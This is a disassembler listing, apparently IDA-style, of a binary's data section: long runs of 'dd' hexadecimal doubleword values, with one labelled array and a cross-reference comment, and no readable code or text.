		dd 2CFBB6A0h, 13424C4Bh, 42913A1h, 0A2F110BCh, 4A543AA4h
		dd 6FC870CEh, 8804AEC5h, 11320F8Fh, 0A6D45829h,	213C8694h
		dd 2E0BA3h, 684656h, 63FCF06Eh,	0E1C2A27h, 18E27162h, 1444A953h
		dd 83C6935h, 460E0648h,	7CBCF15Fh, 13DE8DCh, 50EE7EBFh
		dd 229E0139h, 82C3C808h, 5D01840Bh, 44C4487h, 205A220Dh
		dd 85D6AFCDh, 4CF49224h, 9DE1C24h, 959E042Fh, 1E490C5h
		dd 2FEE2660h, 0F62EDD7Dh, 1E1EDCCDh, 0F564FE02h, 0EC60825Ah
		dd 0F14422DBh, 65111C65h, 549EC302h, 0A2576AB5h, 0E358C0h
		dd 0DBCB6C9Fh, 401836B5h, 75275A08h, 0F69C843Ah, 604830B2h
		dd 81788F11h, 0F3D76750h, 38A7CD00h, 7AD184A0h,	455B90A8h
		dd 0C5818D12h, 60FDB004h, 0FFB7E31h, 0A1C0EF88h, 1370967Ah
		dd 0A3C8BC0Dh, 4D72458h, 107AE011h, 975E8584h, 0C7457C62h
		dd 606FE418h, 6034A380h, 52599DDh, 8B02FBF5h, 5C9D66C9h
		dd 60A868E9h, 464D1499h, 5810A898h, 5035061Fh, 74A91E16h
		dd 8DED0055h, 8115C64Ch, 74059DE8h, 3F5C9EA8h, 8034E0h
		dd 23C14028h, 55D709A3h, 3700D498h, 0A28C9917h,	16B386C7h
		dd 2FDB54h, 356376CFh, 7F0380F2h, 5804CAF6h, 3F821DDh
		dd 68BF253Ah, 0CC6BF8h,	0C0DC26EBh, 62A3C8D7h, 0DD5A183Ah
		dd 80338F04h, 5638FA0Ch, 5B2304F8h, 84E982BDh, 0A46FA0h
		dd 0AF417476h, 97EFB473h, 0E191B097h, 0F93FD382h, 2DCD454h
		dd 8369C38Ah, 0D8D6EEA6h, 0DA003F4Ah, 9D2ED252h, 0FC5A386Ch
		dd 1C40B5A7h, 0E097672Ah, 28D0BA4h, 91016FAh, 405A3379h
		dd 4C97A13Ch, 4BA0992h,	627B055Bh, 0DAF80CD1h, 0C07CD8CCh
		dd 1B0F9B89h, 4E02E45Ch, 0A8F271C1h, 0E44D0FBh,	0DB2572D2h
		dd 5F938C8Fh, 0C008FC54h, 41000310h, 0B4F8DC2Bh, 0E67C039Bh
		dd 2E3AB3A3h, 6A545988h, 0F6777112h, 0E4C8688Bh, 0A98D28C3h
		dd 5DCAA0EAh, 82FB6CA5h, 407ED3B5h, 406465Eh, 0B913D735h
		dd 0EED008EBh, 817A9020h, 4B50F213h, 0C8E24C4h,	80CEEE88h
		dd 34FCF68Fh, 7019C0E5h, 5BC72B37h, 0F0E7F0Fh, 5C020074h
		dd 124F6BB6h, 6F04269Dh, 74D80F5Ch, 80691A8Ah, 0AF70F640h
		dd 25C0C00Bh, 0D9942173h, 83E54BB8h, 7F7DA429h,	84ECD098h
		dd 10E80066h, 25E89AEh,	0A053DE88h, 0C27809B0h,	5F850D4h
		dd 0FAF1A809h, 0B8E496B4h, 34AD200Ch, 0E03081DFh, 24150FDAh
		dd 0E060A3EDh, 0E6169542h, 0C852794Bh, 624414h,	508745EEh
		dd 0A675CF8h, 0E668CA71h, 0CCC052F0h, 40A0DE8Ch, 0D63EC856h
		dd 48F22DE0h, 0B4C00718h, 0DD47805Ch, 0D117A2DFh, 0E0E1670Eh
		dd 7B809ECDh
		dd 5E740827h, 5AE80EE5h, 8437E285h, 7F6482CCh, 7559E580h
		dd 18CBDF44h, 42AC681Bh, 0FB37079Fh, 205A4AA2h,	0F4123E1Ah
		dd 5C82B200h, 0BF7447CAh, 2A2101F8h, 641503FEh,	54046B19h
		dd 0CA27E51h, 0EA30E8F2h, 0D7FC1592h, 0DF019C6Eh, 878AF952h
		dd 0A2DC9D6Ah, 0B750B2C0h, 4CEADEE4h, 0BB00C002h, 42E23877h
		dd 4000D29Bh, 27DB061Ah, 9E994Bh, 0FB7443B0h, 0ADA94A25h
		dd 0CC30E609h, 90A8F4F0h, 0E420958h, 4000F8DDh,	2840DCC9h
		dd 0FABE0035h, 0B0075175h, 0CA7D58B1h, 592ACD12h, 0BEE5A007h
		dd 0A0A79684h, 0CCC21D25h, 0D8E0004Dh, 90FE0F06h, 4309760h
		dd 0DD00DFB3h, 0D275CE4h, 6620675h, 448FB84Eh, 6120880Bh
		dd 3874E072h, 4141D197h, 7E256FCh, 8DA949C0h, 0A035F1F2h
		dd 3050D802h, 0A612BB30h, 68CB1994h, 0BB28CB00h, 0F27A2E27h
		dd 0C409FEF0h, 0FCAB376Ch, 80514068h, 170131A7h, 0A5594A96h
		dd 80850CC2h, 80D2BD9Eh, 4F9209ACh, 2BD8E1E5h, 8C7F682Fh
		dd 5C584100h, 115FB5FFh, 0F9A309EEh, 50C054E2h,	1094A709h
		dd 0B00800DCh, 0B776ABE9h, 5C129407h, 7064693Dh, 0E1B21CE2h
		dd 26AD6430h, 3A08772Bh, 84C012Eh, 64241140h, 4E3F3Eh
		dd 385C047Fh, 0C415F60Fh, 0C29B9D41h, 0EC58D018h, 19BDAB00h
		dd 0FCFE091h, 68A997FDh, 0B4A8E181h, 32F841DDh,	4D9E00F0h
		dd 0B56E060Eh, 68203FE5h, 4422A62Eh, 1CB25700h,	0BB504BCCh
		dd 0E8452D38h, 0A960EAE4h, 0D4005C2Ch, 0C8526F98h, 92056C94h
		dd 2972168Ch, 33B4E443h, 94287900h, 1AC3F301h, 21405F51h
		dd 0EF7C18h, 48D98C95h,	0FCCDAC54h, 0B9D03D41h,	0A99B4082h
		dd 0A7872F18h, 0F8C7961Ah, 0B036720h, 5CFA73CDh, 978ABCE0h
		dd 0A0F63C04h, 0E0FD120Ch, 88A08E5Eh, 3941C0E3h, 0A300F5A4h
		dd 0BFB48AC7h, 0B848326Dh, 0D96418EDh, 980E87Bh, 2CE6601h
		dd 0F5C0ACA8h, 0E2278C57h, 99849D40h, 0F3B0099Fh, 3460C4EAh
		dd 0FC509708h, 1E12B90h, 0D46C41C0h, 70503889h,	91C89795h
		dd 327080E3h, 130CB86Eh, 0A3948D10h, 102C4CECh,	7605F7F6h
		dd 0F026347h, 0F2779E94h, 51E63018h, 58D68579h,	0B40051C9h
		dd 3F05BC12h, 0F2E69575h, 92B1C301h, 0CD96A1BFh, 0F9D070C3h
		dd 0E1EC582Ch, 5139018Ch, 54197EE8h, 900ED370h,	15EBCA2h
		dd 5F50F61Dh, 8D2DB42Ch, 0E0A180A0h, 4105E7E8h,	7BE54A78h
		dd 4E09A4ADh, 4264497h,	51225952h, 47D74B09h, 176AAC0h
		dd 323406C3h, 0DBBD1FDCh, 4BC0559Fh, 0F5898362h, 0C9AE0AABh
		dd 3A910B7Bh, 0CD414630h, 0BF4CFAC4h, 92B60014h, 74DB0583h
		dd 5F2B09C2h, 0F8800343h, 0BD095538h, 0A8467098h, 3656A102h
		dd 1C8F71h, 5456A935h, 0EB4C9059h, 432ABB05h, 588FFFD7h
		dd 3AC0E388h, 12AC66BEh, 0F0F95CFCh, 0F20242D8h, 0A871B850h
		dd 70ECDB0Bh, 0DD009CA7h, 0EB3829Dh, 30649E98h,	0FE6076A5h
		dd 0AB318B1Ch, 3B9968C1h, 84C8042Ah, 2DB8F862h,	5DFCC816h
		dd 0F41C0063h, 6285AFFCh, 0FB093AFAh, 80DDBF5Fh, 0F9F30DACh
		dd 8A342F2Ah, 80471CE2h, 8660E944h, 0DF7EB66Bh,	0BF31CAF8h
		dd 0FAD6468Ch, 8CCC90BDh, 0E4D0125Ah, 6C962374h, 20A8A438h
		dd 7348F641h, 0A294127Bh, 1CDB0070h, 6F8C5F4Ah,	72F001F1h
		dd 0DEC0AE33h, 384E2F7Bh, 0B7A8013h, 4F7CE615h,	94CCE434h
		dd 89642Dh, 3EFE55B4h, 999E7167h, 0B5C09CC8h, 0D14F0069h
		dd 0EE9AD24Eh, 0C100FE79h, 0CC7FE7DAh, 20799AFh, 0F951D7Ch
		dd 0B0A998FFh, 0EE11889Dh, 50AF8D80h, 0C30089DDh, 8B57F8D6h
		dd 247564B2h, 108C0725h, 9FA3220Ch, 1B1E6844h, 0C88774C7h
		dd 4152149Dh, 20A446A9h, 0F80909EAh, 3A1AAB70h,	47A4B2F0h
		dd 60EF4488h, 0F0A44Dh,	1115A58Ch, 0D68E4FC6h, 6F5D705h
		dd 0E0C5BD5Bh, 0D6A0B492h, 45F264FCh, 0BC459216h, 5C05AB9Dh
		dd 0D4A34C7Ch, 0E83365E2h, 0AA7F44h, 0C4936A01h, 8CA00E72h
		dd 19BC4712h, 38250CA8h, 1E335CE0h, 40245094h, 5C80189Ah
		dd 8C748930h, 0A809FCEAh, 1A16C048h, 6A8684A8h,	7110A200h
		dd 208EBFF9h, 253743Bh,	1647E3D1h, 0C47DD67h, 0D660EFC4h
		dd 0B014405h, 2A92503Eh, 0B8308176h, 20E49879h,	5F0B0356h
		dd 5E6350F8h, 0C28D821Ch, 0A8FC20DAh, 12E64676h, 1CA4326Ah
		dd 50220068h, 875C9C0Dh, 0BD00FB89h, 80B7283Ch,	2A2A0234h
		dd 9598DFD1h, 66918097h, 36D65880h, 0AC584183h,	74F70778h
		dd 7C080C97h, 5003E346h, 8F52C8Fh, 28268DF1h, 109048F8h
		dd 60041547h, 5CF99A9Dh, 0FD09D810h, 0F8F6196Ch, 91D0B89h
		dd 1440F208h, 0B0AE3983h, 271AD210h, 4B8490A1h,	33C5004Ch
		dd 75FBD7F4h, 9014DD0h,	968E1E12h, 1C2343AAh, 0FD84205Fh
		dd 5C00F1EDh, 0A5711E9Fh, 0ACAA0Dh, 0F5BA8FB1h,	2E2FF744h
		dd 0F8C7FD5Bh, 0DC7B2933h, 0A9F14892h, 797871BCh, 75641867h
		dd 0BF31003Bh, 5C566597h, 5F4F68F8h, 1C05BCF0h,	644F760Fh
		dd 0B1A88A2Ch, 6A465C34h, 0E00BAD16h, 0E807714h, 1D2E00C4h
		dd 0E6DEC556h, 84B6F0D8h, 67467Ch, 10438C6Ch, 31878919h
		dd 0EFC8A84Eh, 7E360229h, 5465E50h, 0F0820617h,	229D1124h
		dd 93E4FF00h, 0C40ACE0h, 0ADF4598Eh, 7016B94Ch,	9E346D26h
		dd 0A6171C00h, 4C637E03h, 0C0107C1Eh, 35FE00E0h, 1B5531F3h
		dd 68D265Ch, 54C5A588h,	0CB6065E4h, 7201690Ch, 28C541Ah
		dd 22EFE9Dh, 2B4804B4h,	5A00D47Eh, 6398F2CBh, 48737899h
		dd 68106425h, 5C9F0424h, 90C09410h, 0EDC7A7h, 59584C52h
		dd 5333F708h, 8A311D00h, 93A55B03h, 10A892B9h, 16EFDA0h
		dd 7710CEFAh, 0C92AB101h, 0A8046F7Ch, 60B396B9h, 0D6118F03h
		dd 0F91EEE85h, 86E48F8h, 0E9755C82h, 71F4F06Ch,	6FA3F05Bh
		dd 9D0FD1D6h, 94F81609h, 0F814C89Fh, 30233078h,	0FA2AA5E9h
		dd 0CF8059C2h, 0C0020019h, 0D5771F3Dh, 89900162h, 85742756h
		dd 4A508CE7h, 6871E362h, 85087647h, 0B8190E8Dh,	0D723E1DCh
		dd 0CB8E1900h, 1824C595h, 5C932153h, 917B312Fh,	415E5ACh
		dd 8F0CCAE8h, 0CC698884h, 0E618F23Eh, 7419778Eh, 46B798h
		dd 60F8AE28h, 244D6E21h, 8080246Dh, 0B4E1928Bh,	8D04059Fh
		dd 107761FAh, 0F510C8F8h, 0CA720B7Ch, 0B8C040D6h, 8D20058h
		dd 0ACD0D501h, 7C26FAABh, 8380B82Eh, 0A5592B07h, 0C65A0BA1h
		dd 40D951A8h, 24A94B12h, 6A00F5B8h, 89C446BFh, 1D22E804h
		dd 0D86C0C02h, 8657585Ch, 0D5363007h, 0FC7577C9h, 0EFB80280h
		dd 5B191266h, 0A2F45608h, 0F2580098h, 0EF1BD181h, 0F6A6383Eh
		dd 0CD74D701h, 0D034C153h, 46B5D35Ch, 0F84D97E0h, 75EE70C0h
		dd 125924F4h, 8CC2CDAh,	512D0B67h, 0DEE8A48Ch, 40061D00h
		dd 0DEAA18Ch, 1B2525D3h, 2F09FC20h, 0AF037501h,	81BD574Dh
		dd 0D2EDF0AEh, 0A91600DAh, 0FEB77A41h, 4348AB9Eh, 0E53A25B4h
		dd 60EFC49Ch, 0B7EF153h, 0F672DE87h, 645A6407h,	280EBAA5h
		dd 0FD6812Bh, 998018FFh, 7028F54Dh, 0BA0E58A8h,	1A387AF8h
		dd 2890D580h, 91048BB5h, 75362D13h, 6D7E5C0h, 85A20EC8h
		dd 0AE655938h, 0A4CF01Dh, 71818313h, 0F0BF38E4h, 96616A7h
		dd 3064F463h, 11CE22Dh,	3B849D20h, 0D8700B2Ah, 87805CD4h
		dd 90BBE154h, 0F9E9264Dh, 0F92054Fh, 0C48CBCF6h, 780B7CC9h
		dd 1D0CF0D9h, 881AE0C3h, 4DEA6C9Dh, 79B528C4h, 0FC3230D1h
		dd 1A98F600h, 8C0107FFh, 1415E7BEh, 0F910CC19h,	483325D2h
		dd 47E10Ch, 427271BBh
		dd 3DD76E56h, 10821E25h, 4BC2F8ECh, 397CB540h, 21893520h
		dd 0B787B4ACh, 54A72F92h, 0C631F0EDh, 210EEEEFh, 0C997787h
		dd 98D2327Eh, 0CFB24B60h, 0C2E78874h, 55FA38Fh,	5BAC524h
		dd 115180h, 55C78AC0h, 0E05BF352h, 0B58094DEh, 61F4506Fh
		dd 869568F2h, 7808280Ch, 2D79035Bh, 0B8D33846h,	141892F4h
		dd 79D0325Dh, 18E87964h, 0C8A40F65h, 19F8F20Fh,	22976CC5h
		dd 0D8B4D89Ch, 4B2FF25Ch, 7F84F590h, 123582Fh, 0C1C4B00h
		dd 2C0B2644h, 848A240h,	0A501E12Ah, 0C0B38CA0h,	2FF26420h
		dd 0A883E8EAh, 0B4848633h, 0F5887D60h, 0E8513C09h, 3B54190Ch
		dd 0F6164969h, 0C8F09F48h, 2510B82Ah, 249D1356h, 0FB8EE491h
		dd 0D0DF8CC1h, 0F6AB60AFh, 2A62687Bh, 74D12F60h, 3E84A404h
		dd 2826082Dh, 27459880h, 0B51CF2E8h, 0B29F9C84h, 50CB4FE4h
		dd 39C007C8h, 135CC333h, 0C863D8F9h, 1F509B34h,	9817A40h
		dd 0D8E20617h, 4294A88Bh, 0E8F684DAh, 1494AC08h, 0FC4E096Ch
		dd 0FA5EA80Eh, 9E061262h, 20E17FE2h, 2DDC297Ah,	0C460C7F6h
		dd 31336768h, 76D1B049h, 71AB0EAEh, 0A01B98FAh,	607FE6A9h
		dd 0B106A773h, 0FC7B4756h, 521E29D8h, 60FC7B98h, 0F5A7813h
		dd 0ABBEB0B2h, 0C40F0860h, 8C5EBF2Ah, 2CE27CC5h, 45C0F8F7h
		dd 0A5A7DDh, 80D726FEh,	960F724Fh, 88A8C997h, 0C72DD87Dh
		dd 5C34F488h, 81000446h, 0D32B478Eh, 0E902EFD2h, 677ECAE2h
		dd 28D0D893h, 2499B9C3h, 6BD05854h, 0C642445h, 0C94CBE60h
		dd 20BDCB2Fh, 86539F54h, 0F29A5EB0h, 0DDF60084h, 2AA0FE42h
		dd 229DFA8h, 28BF58CDh,	591409Dh, 691A4180h, 0FC446019h
		dd 8FC80555h, 0F9FA7309h, 8C930418h, 0FE04525Dh, 100CF923h
		dd 7C8BFBB0h, 990210D2h, 74EF034Eh, 7811F794h, 0DC470975h
		dd 650B1CA4h, 7BE3A850h, 0A233EC80h, 0E52302B7h, 0D7A07430h
		dd 0F9593523h, 0E84E65A3h, 13C00B88h, 0A8EB830Fh, 0BD5319A8h
		dd 0F4D7F824h, 0E20090D0h, 2088C7E1h, 7C5F9435h, 159500D6h
		dd 0E6107E19h, 4017A50h, 0AD74EA5h, 982FF663h, 54109420h
		dd 0F809551Dh, 0B02038EAh, 39F48FB2h, 7333E400h, 1BD18C30h
		dd 5CAF7ED4h, 0BC0B86Ch, 5739BE76h, 9E00F8FCh, 4A1E509h
		dd 0F49A1CEDh, 0F6530206h, 615CFC28h, 41040858h, 1C34804h
		dd 0E9EC40BCh, 0D9B2018Ch, 8CDA147Eh, 30DFF6F0h, 4D68F8B8h
		dd 0D618743Bh, 79F10D0h, 54756080h, 37480A2h, 0F648A841h
		dd 91052B70h, 0E0E5BD52h, 468814BCh, 0BCEEEC9Ch, 7FF40EC2h
		dd 0C0A15CA1h, 0D4A017F7h, 17C18E86h, 0EC2A3DF0h, 0FADF1690h
		dd 799F0D8h, 7FB23FDAh,	0F222571Ah, 0C99CE2h, 3C147BA4h
		dd 90328B58h, 60D48Ch, 6E644EDDh, 0EBDA51F7h, 94C2452Ch
		dd 171D9208h, 97A8D1A8h, 5A01C298h, 0F9B8F69Dh,	202B5009h
		dd 0DF638C64h, 0E033C9h, 779FE969h, 8E24DDF8h, 0A5D52B06h
		dd 1540EBA2h, 0A8BB6F78h, 7B7CE24Eh, 0F1D8CA16h, 1989204Dh
		dd 72C6E2Ah, 0A9E8142Fh, 0F46D45EFh, 1C8EBC64h,	0CBC00488h
		dd 0E47318Bh, 1ACCE8FDh, 44029149h, 80560E6Fh, 2AE14676h
		dd 0AC8A8C4Ch, 0C1092440h, 0D8CF1613h, 20A98492h, 0E098F65Eh
		dd 44A2F74Ah, 540CEA21h, 2E55B174h, 2FBD36FEh, 1C5C40E6h
		dd 0FCB207F0h, 0F474D6Ah, 0E6939BC0h, 0FF39C980h, 6D004874h
		dd 18E960BBh, 0F6C025E2h, 29838CC0h, 5ED8535Dh,	1113C40h
		dd 5BBDB4AFh, 0A4F2A0h,	215E77A2h, 335B04F9h, 0AE610EBFh
		dd 0A105EDA0h, 66A31E00h, 53E17A15h, 240F4CF3h,	2064C909h
		dd 0FF745476h, 1100AD18h, 6A74FB2Ch, 48754176h,	23103449h
		dd 0A82F111Fh, 8310C849h, 38304F04h, 97AB9E99h,	43073024h
		dd 0FCE0E272h, 8C453304h, 0E6414E88h, 18F5088h,	0D2E8D614h
		dd 42D5E808h, 70C4FB0Fh, 8E7E4900h, 0DA5FC2CEh,	86A0A09Eh
		dd 0D31B27DEh, 65701873h, 8A47019Fh, 3E64C688h,	3DFEE88Ch
		dd 5457D526h, 0F271A202h, 0DAB04960h, 130C807Fh, 34B1D8Ch
		dd 6528A0F4h, 0A72321EEh, 8B74107Ch, 6C52F682h,	4836261Ch
		dd 0AF6BE410h, 76E17404h, 43362A01h, 0F0F915D8h, 6CA07D22h
		dd 8689FA1Eh, 9C4CC32Fh, 1C420A94h, 2A148A43h, 27E0B830h
		dd 0CCD8867Eh, 0C34C897h, 9C69E944h, 0EEBD51B0h, 1038F453h
		dd 9F09F7BCh, 18636054h, 8C9633E0h, 0C8782930h,	9FA8AF9h
		dd 0FBAA955Ah, 2C9A6054h, 51B020F9h, 957DD153h,	7218F446h
		dd 9DA1D2CAh, 82E15A7Ch, 0D4D2A77Ch, 0D20AC09Eh, 0DA582003h
		dd 840544A8h, 0F854C520h, 0B9046FD2h, 77BA9542h, 6570A888h
		dd 709010E6h, 0F6410A0Bh, 5A15E046h, 5A8C0A5h, 52A89E40h
		dd 5B8B8FCh, 0AAA5168Ch, 0F680087Dh, 64CA1886h,	0C8444B79h
		dd 0D138A3ECh, 17738023h, 0A94A2EDCh, 0F84C1D9Eh, 0FAB98050h
		dd 3F55D143h, 0D0870306h, 21362Bh, 0CA02F618h, 0D255E2F5h
		dd 0C59D5300h, 979EB34Eh, 0D0C85E4Bh, 0E6D13D8Ch, 52D9200Fh
		dd 0CD8101FEh, 30DC8043h, 1EBB0037h, 9E266595h,	0BCDF5E98h
		dd 173DB101h, 7DC2A9D5h, 4CF8F880h, 0D4A9ADBFh,	0F187E05Fh
		dd 8F741B7Ch, 45071700h, 0D8797258h, 0BCF70C5Dh, 0D7E9D24Eh
		dd 4AA8C958h, 65FE490h,	0A7E51CB9h, 1935100Fh, 0FA101504h
		dd 941F1432h, 5C6D81E3h, 28957AE5h, 0D28C4038h,	0FD1528ADh
		dd 280C29B0h, 7DBFE1C1h, 237C5893h, 13DBF5E8h, 95E62DB0h
		dd 1A25FA74h, 71D42054h, 2BE7D869h, 444070C9h, 30A0C40Bh
dword_4E414C	dd 25846FCh, 0A4F75A01h, 0C836DE93h, 3354463Bh,	0A4EF848h
					; DATA XREF: ___:off_43ACECo
		dd 3C4AFC27h, 0FD0F15D6h, 0FE09A429h, 0A813A392h, 41013038h
		dd 53C8340Ah, 5AA1015Eh, 0C10758E7h, 0E034DC9Ch, 20D0FE60h
		dd 3A1323B9h, 9E9FF65Fh, 8F48E8BDh, 0B0A011BCh,	0A9AB8C74h
		dd 82C10B98h, 0E00E0820h, 0CFA8A9F5h, 196C58E2h, 617179E6h
		dd 3A5442BEh, 51118411h, 5E1AD8E8h, 7A04F091h, 0C880153Eh
		dd 2C5FE0Ch, 0C0A9DFEBh, 406A0183h, 0B1027080h,	4B733C3h
		dd 9541E2E4h, 0F1F8FAA8h, 8A204C2Eh, 0D825BCA4h, 58B8C089h
		dd 959C908Eh, 9EE37C0Fh, 0C5E1E055h, 1008A8F4h,	7D5AA27Ch
		dd 58BAB4B2h, 38944844h, 2D08E2ACh, 3BE201EAh, 19B7F074h
		dd 0CC750F80h, 0CE11BA18h, 1C082263h, 631818BEh, 0F02A08AFh
		dd 59882681h, 0C60CC962h, 40BD30F7h, 0AB400AB0h, 0F48C40F9h
		dd 91201562h, 5133068Fh, 34B6E820h, 0C318DB4h, 0E1303D0Ch
		dd 402E8640h, 9840BB76h, 200362C9h, 3D068867h, 1DCE3129h
		dd 1C20B18h, 1E01D703h,	0F3088CB5h, 0C60E200Ah,	18C17509h
		dd 88A2137h, 31181776h,	0DD083CA0h, 7ED40104h, 9C7B2095h
		dd 698CBC2Ah, 0E10C49E9h, 0DD627C10h, 2DE4208h,	406CA89h
		dd 84015449h, 80D62DAh,	98A687EDh, 6E631040h, 100C96B9h
		dd 2AE1A710h, 1120B036h, 8B1A2091h, 1809AF31h, 88C0219h
		dd 0B718D11Eh, 0A8B0F440h, 0C6122788h, 20BD5F08h, 8CDF932Ah
		dd 626CB240h, 0B6A508DCh, 2ACB412Dh, 62B829F1h,	0FE3331C7h
		dd 3D9B080Fh, 3F202D20h, 0C9066538h, 20A84488h,	89C006F2h
		dd 9FA63118h, 2834B08h,	5288A2ECh, 85BF0290h, 882B3449h
		dd 8A5AB18h, 0B80CE747h, 0A86F08D3h, 802EFAC4h,	81807539h
		dd 1C41D599h, 1643887Bh, 5998FB81h, 20057928h, 0E94B08CCh
		dd 8F3667Ah, 0AB31B9AFh, 0A27F080Eh, 2A848990h,	0C5FA9846h
		dd 0C82808C4h, 30F6CA06h, 0FE09F864h, 0D76E3491h, 8C23C907h
		dd 0A1319733h, 0AE8B2829h, 0B0A48902h, 9A0C9344h, 10833918h
		dd 80B56B10h, 8DCB84Bh,	0BB10B310h, 0C8592AD2h,	2AB86454h
		dd 0B210F862h, 9D0403DDh, 21D50818h, 8073E018h,	10C42514h
		dd 0D606EBA8h, 8F4908CFh, 13261830h, 0C5A61D08h, 4AB19F18h
		dd 9088BFC0h, 28CA19AFh, 0D8518328h, 0D30177C2h, 121425F1h
		dd 0BCA2B888h, 9D030935h, 8B181AB7h, 98A2C1F9h,	0AB061DE1h
		dd 27DF31E9h, 3D8BB10h,	73E913A1h, 41045BDAh, 5DE4469Dh
		dd 0FE6218EFh, 4AC56B9h, 0FFE09194h, 2C089306h,	84356841h
		dd 0FC723307h, 14793602h, 64505673h, 3C189E78h,	0CD10494Bh
		dd 8AFE1Eh, 0F60BBA15h,	0DCA8F9D2h, 0FA080BAh, 0F4003BD8h
		dd 36F320CBh, 9573CE88h, 720B04D8h, 1AC51621h, 0C898C0B8h
		dd 0DACE000Fh, 7F0C6505h, 573A10D4h, 0D8FB3B24h, 5B721170h
		dd 3DF64704h, 1E1CACD2h, 0C0067F78h, 0E10490Ch,	0F117F855h
		dd 5735C5FEh, 0BDCBDBAh, 804C2E9Bh, 1C099334h, 90F295C4h
		dd 66978B0Eh, 0D11D6144h, 844045B3h, 35939FEh, 0C0F05570h
		dd 0E000CD8Dh, 0E1D206A4h, 58FE0Ah, 0B2A33EF4h,	1512B91Ch
		dd 0C001B5F2h, 164A41D9h, 70BB2C6Ah, 0CFCB21Eh,	0DA1070B8h
		dd 35B853Eh, 73D13055h,	99700368h, 7FD452A5h, 4A1FA178h
		dd 0DA034CBDh, 383E7CC0h, 0C480BE80h, 47E282Bh,	1D1FB935h
		dd 0A8292313h, 0E03C283Eh, 2F163D00h, 0BA8C2B2Eh, 66643BA2h
		dd 0F3FCD18Ch, 29062229h, 8CD2165Eh, 78916398h,	0B5C5A8A7h
		dd 3415C0C0h, 10687230h, 25F045Eh, 89D358ADh, 0E78351E5h
		dd 403E3019h, 44380F3h,	0FE48F1C7h, 12D0B957h, 7858E43Dh
		dd 25F64F00h, 4185ABA8h, 3D51EEFCh, 2B975030h, 147422D3h
		dd 41FCDC91h, 80F643E8h, 0B4C14508h, 19AE74E7h,	309DFD34h
		dd 0A4B02B66h, 0C0174182h, 1F0FF8CDh, 403F7AF1h, 26A1F060h
		dd 15D118B8h, 0DCB358D7h, 16DD5D09h, 8BFCE0A8h,	85DCF398h
		dd 28187CF0h, 1808C08Ch, 38B6A0D8h, 0C65096ABh,	544021E8h
		dd 0CC8C02A7h, 0F90B0E78h, 98D39887h, 0D1FA8F0Ch, 0A23E0080h
		dd 0CBB452Ah, 165079A8h, 41C0A08h, 0C045A51Ch, 0F400BEA9h
		dd 0DD64CB4Fh, 0D26A000Ch, 337FE098h, 50C77DD9h, 0C08FB7FDh
		dd 8B5FF45Ah, 25D8A491h, 0E0201780h, 5F0C60B8h,	54033890h
		dd 0A9272309h, 0FFE80035h, 0E6AA2C83h, 0B9518C2Eh, 81A85020h
		dd 2B0163BAh, 34B35630h, 0E451F8CFh, 0D80167BFh, 5C41D69Fh
		dd 83F847FCh, 7800DE34h, 0CFD58C2h, 0BAEC8Eh, 5C5EFE5Dh
		dd 1AF55933h, 7781D11Bh, 363AD938h, 763FE83Dh, 18C10BB7h
		dd 2A393386h, 6BDEA78h,	0C8C099ECh, 7F008056h, 0D455131Fh
		dd 602A343Bh, 0D9602893h, 3C914CFEh, 0E133C006h, 16473F58h
		dd 9D838A8h, 8CD19DF2h,	7F07F450h, 57E7D807h, 4EAD444h
		dd 821BE9E0h, 0D123D260h, 55AEE0F3h, 3033F6BBh,	2471A85Ch
		dd 0F000495Fh, 0CEF6CD66h, 5AFEDFh, 0E98B1DFDh,	0C490D758h
		dd 2E5ED400h, 4EB75732h, 0EE2D12F1h, 71E00056h,	0C208AD30h
		dd 0A01EA801h, 22D9FF0Fh, 20B2A886h, 1C0F69F4h,	0E9C0DB5Fh
		dd 0E7749051h, 3F8025F1h, 769DD890h, 0BD2430C0h, 137AC1BBh
		dd 0F1C4167Dh, 4B304184h, 7C40BA61h, 68137B34h,	0F6418080h
		dd 0F1B7128Dh, 0EFF0002Ch, 7CC25C92h, 489F1610h, 12149524h
		dd 0B0AC05F6h, 73A4074Bh, 0BC589277h, 0A500D844h, 99FAB996h
		dd 711BE194h, 3C952AB3h, 0B02F20C8h, 173D7A09h,	0AE50075Eh
		dd 18648059h, 3B13B258h, 19FDA0E7h, 31F0BF25h, 60FC3078h
		dd 52FED714h, 0A32285F0h, 3A003C1Fh, 0AD2B13AAh, 0A22833C0h
		dd 93F8B038h, 8300419Fh, 2C17E952h, 6203C68Bh, 95DB2899h
		dd 1E408000h, 60290024h, 774B928Bh, 585C2057h, 69606E6Ah
		dd 0AD7402EFh, 2A600B9h, 0C47247B6h, 9D58D100h,	3B37C68Ch
		dd 11D63901h, 4D8AA93h,	0CC8FA53Ch, 0AD172EA8h,	6880FF28h
		dd 0C417F448h, 0A96F058h, 0FC19A0A1h, 298FFE71h, 522A6772h
		dd 0C7330EB4h, 1E0C5292h, 0E4310700h, 80598404h, 0F92FA14h
		dd 0D54BC904h, 30D3FC2Ch, 803EBA16h, 618BA8E4h,	552200A1h
		dd 2B881179h, 0C0084C7h, 0FE505EC4h, 0B05730F1h, 82045AACh
		dd 0F4892A8Ch, 0E040A4FEh, 924AC216h, 18209320h, 0AEDA206Fh
		dd 2EF87CA4h, 2274341Ah, 7F586110h, 2B983B08h, 76104B66h
		dd 88C01568h, 201EFCEFh, 0ADB10DA2h, 43210h, 0D7A494A7h
		dd 0F81C4AF4h, 0B26D0959h, 34223F66h, 900ADAB9h, 64841710h
		dd 0D298009Ah, 16BF8B7Ah, 1318CDDh, 62271598h, 0A85D7001h
		dd 5DF64203h, 5F95BFh, 0B590A298h, 0A19B2652h, 33F82F61h
		dd 0A8008A2Bh, 822C04DAh, 2C0564F1h, 701CB957h,	0D8D43401h
		dd 10811E30h, 89BF595Eh, 0CFF4343Dh, 0DC55AB00h, 0F8BC4B2Ch
		dd 0D33707C3h, 601D3F7Fh, 71B616CCh, 0DAC770C0h, 50D51AAh
		dd 8CABC0D7h, 50B02198h, 28026E04h, 68338616h, 885DAC20h
		dd 930A5F2Ch, 883979B3h, 0FC909547h, 60A434A9h,	0D12D2869h
		dd 90B28471h, 948BA100h, 0A7FBF0A8h, 0B27703ABh, 7F6E16C9h
		dd 27B86000h, 4343978h,	440DE7Ch, 0FFE7D1h, 0B5083253h
		dd 28300009h, 940B91B0h, 495DCED1h, 1A0600B0h, 58CD4407h
		dd 0CC2107EBh, 0E516D15Dh, 0C7C890D3h, 32006438h, 2C0D80F2h
		dd 33F111h, 0BB42A50Ch,	0B1D1B002h, 8370F863h, 1180E831h
		dd 0E6F5008Ah, 0FE9D09A5h, 0C5794B34h, 35028307h, 9C930B18h
		dd 0D8B0175Bh, 425840C8h
